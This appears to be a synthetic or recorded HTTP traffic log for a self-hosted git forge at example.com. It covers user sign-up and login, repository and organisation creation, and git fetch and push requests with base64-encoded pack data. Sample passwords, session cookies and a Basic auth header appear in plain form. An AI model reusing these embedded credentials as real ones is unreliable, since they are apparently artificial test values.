+{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
+{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
+{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
+{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
+{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
+{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
+{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
+{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
